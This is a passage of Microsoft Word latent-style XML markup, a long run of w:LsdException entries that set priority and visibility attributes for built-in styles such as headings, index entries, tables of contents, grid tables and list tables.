UnhideWhenUsed="true" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 6"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 7"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 8"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 9"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 9"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Normal Indent"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="footnote text"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="annotation text"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="header"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="footer"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index heading"/>
<w:LsdException Locked="false" Priority="35" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="table of figures"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="envelope address"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="envelope return"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="footnote reference"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="annotation reference"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="line number"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="page number"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="endnote reference"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="endnote text"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="table of authorities"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="macro"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="toa heading"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Bullet"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Number"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Bullet 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Bullet 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Bullet 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Bullet 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Number 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Number 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Number 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Number 5"/>
<w:LsdException Locked="false" Priority="10" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Closing"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Signature"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="true"
UnhideWhenUsed="true" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text Indent"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Continue"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Continue 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Continue 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Continue 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Continue 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Message Header"/>
<w:LsdException Locked="false" Priority="11" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Salutation"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Date"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text First Indent"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text First Indent 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Note Heading"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text Indent 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text Indent 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Block Text"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Hyperlink"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="FollowedHyperlink"/>
<w:LsdException Locked="false" Priority="22" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Document Map"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Plain Text"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="E-mail Signature"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Top of Form"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Bottom of Form"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Normal (Web)"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Acronym"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Address"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Cite"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Code"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Definition"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Keyboard"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Preformatted"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Sample"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Typewriter"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Variable"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Normal Table"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="annotation subject"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="No List"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Outline List 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Outline List 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Outline List 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Simple 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Simple 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Simple 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Classic 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Classic 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Classic 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Classic 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Colorful 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Colorful 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Colorful 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Columns 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Columns 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Columns 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Columns 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Columns 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 6"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 7"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 8"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 6"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 7"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 8"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table 3D effects 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table 3D effects 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table 3D effects 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Contemporary"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Elegant"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Professional"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Subtle 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Subtle 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Web 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Web 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Web 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Balloon Text"/>
<w:LsdException Locked="false" Priority="39" Name="Table Grid"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Theme"/>
<w:LsdException Locked="false" SemiHidden="true" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" SemiHidden="true" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" QFormat="true"
Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" QFormat="true"
Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" QFormat="true"
Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" QFormat="true"
Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" QFormat="true"
Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" QFormat="true"
Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" SemiHidden="true"
UnhideWhenUsed="true" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="TOC Heading"/>
<w:LsdException Locked="false" Priority="41" Name="Plain Table 1"/>
<w:LsdException Locked="false" Priority="42" Name="Plain Table 2"/>
<w:LsdException Locked="false" Priority="43" Name="Plain Table 3"/>
<w:LsdException Locked="false" Priority="44" Name="Plain Table 4"/>
<w:LsdException Locked="false" Priority="45" Name="Plain Table 5"/>
<w:LsdException Locked="false" Priority="40" Name="Grid Table Light"/>
<w:LsdException Locked="false" Priority="46" Name="Grid Table 1 Light"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark"/>
<w:LsdException Locked="false" Priority="51" Name="Grid Table 6 Colorful"/>
<w:LsdException Locked="false" Priority="52" Name="Grid Table 7 Colorful"/>
<w:LsdException Locked="false" Priority="46"
Name="Grid Table 1 Light Accent 1"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 1"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 1"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 1"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 1"/>
<w:LsdException Locked="false" Priority="51"
Name="Grid Table 6 Colorful Accent 1"/>
<w:LsdException Locked="false" Priority="52"
Name="Grid Table 7 Colorful Accent 1"/>
<w:LsdException Locked="false" Priority="46"
Name="Grid Table 1 Light Accent 2"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 2"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 2"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 2"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 2"/>
<w:LsdException Locked="false" Priority="51"
Name="Grid Table 6 Colorful Accent 2"/>
<w:LsdException Locked="false" Priority="52"
Name="Grid Table 7 Colorful Accent 2"/>
<w:LsdException Locked="false" Priority="46"
Name="Grid Table 1 Light Accent 3"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 3"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 3"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 3"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 3"/>
<w:LsdException Locked="false" Priority="51"
Name="Grid Table 6 Colorful Accent 3"/>
<w:LsdException Locked="false" Priority="52"
Name="Grid Table 7 Colorful Accent 3"/>
<w:LsdException Locked="false" Priority="46"
Name="Grid Table 1 Light Accent 4"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 4"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 4"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 4"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 4"/>
<w:LsdException Locked="false" Priority="51"
Name="Grid Table 6 Colorful Accent 4"/>
<w:LsdException Locked="false" Priority="52"
Name="Grid Table 7 Colorful Accent 4"/>
<w:LsdException Locked="false" Priority="46"
Name="Grid Table 1 Light Accent 5"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 5"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 5"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 5"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 5"/>
<w:LsdException Locked="false" Priority="51"
Name="Grid Table 6 Colorful Accent 5"/>
<w:LsdException Locked="false" Priority="52"
Name="Grid Table 7 Colorful Accent 5"/>
<w:LsdException Locked="false" Priority="46"
Name="Grid Table 1 Light Accent 6"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 6"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 6"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 6"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 6"/>
<w:LsdException Locked="false" Priority="51"
Name="Grid Table 6 Colorful Accent 6"/>
<w:LsdException Locked="false" Priority="52"
Name="Grid Table 7 Colorful Accent 6"/>
<w:LsdException Locked="false" Priority="46" Name="List Table 1 Light"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark"/>
<w:LsdException Locked="false" Priority="51" Name="List Table 6 Colorful"/>
<w:LsdException Locked="false" Priority="52" Name="List Table 7 Colorful"/>
<w:LsdException Locked="false" Priority="46"
Name="List Table 1 Light Accent 1"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 1"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 1"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 1"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 1"/>
<w:LsdException Locked="false" Priority="51"
Name="List Table 6 Colorful Accent 1"/>
<w:LsdException Locked="false" Priority="52"
Name="List Table 7 Colorful Accent 1"/>
<w:LsdException Locked="false" Priority="46"
Name="List Table 1 Light Accent 2"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 2"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 2"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 2"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 2"/>
<w:LsdException Locked="false" Priority="51"
Name="List Table 6 Colorful Accent 2"/>
<w:LsdException Locked="false" Priority="52"
Name="List Table 7 Colorful Accent 2"/>
<w:LsdException Locked="false" Priority="46"
Name="List Table 1 Light Accent 3"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 3"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 3"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 3"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 3"/>
<w:LsdException Locked="false" Priority="51"
Name="List Table 6 Colorful Accent 3"/>
<w:LsdException Locked="false" Priority="52"
Name="List Table 7 Colorful Accent 3"/>
<w:LsdException Locked="false" Priority="46"
Name="List Table 1 Light Accent 4"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 4"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 4"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 4"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 4"/>
<w:LsdException Locked="false" Priority="51"
Name="List Table 6 Colorful Accent 4"/>
<w:LsdException Locked="false" Priority="52"
Name="List Table 7 Colorful Accent 4"/>
<w:LsdException Locked="false" Priority="46"
